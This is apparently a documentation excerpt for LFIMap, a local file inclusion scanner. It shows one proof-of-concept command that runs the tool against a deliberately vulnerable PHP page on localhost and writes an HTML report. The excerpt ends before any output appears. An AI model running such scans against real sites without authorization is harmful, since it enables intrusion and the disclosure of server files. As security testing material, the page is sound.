Examples

Example #1: PoC

Description

The following example is based on a specific vulnerable code (download it here) that doesn't properly check/sanitize user inputs and is hence vulnerable to LFI attacks. LFIMap has been tested against this application as a Proof of Concept.

Stdout

LFIMap has been called with following parameters:

$ python lfimap.py -t "http://127.0.0.1/poc/LFI/index.php?page=page2.txt" -o report.html

Here is the output on the screen:
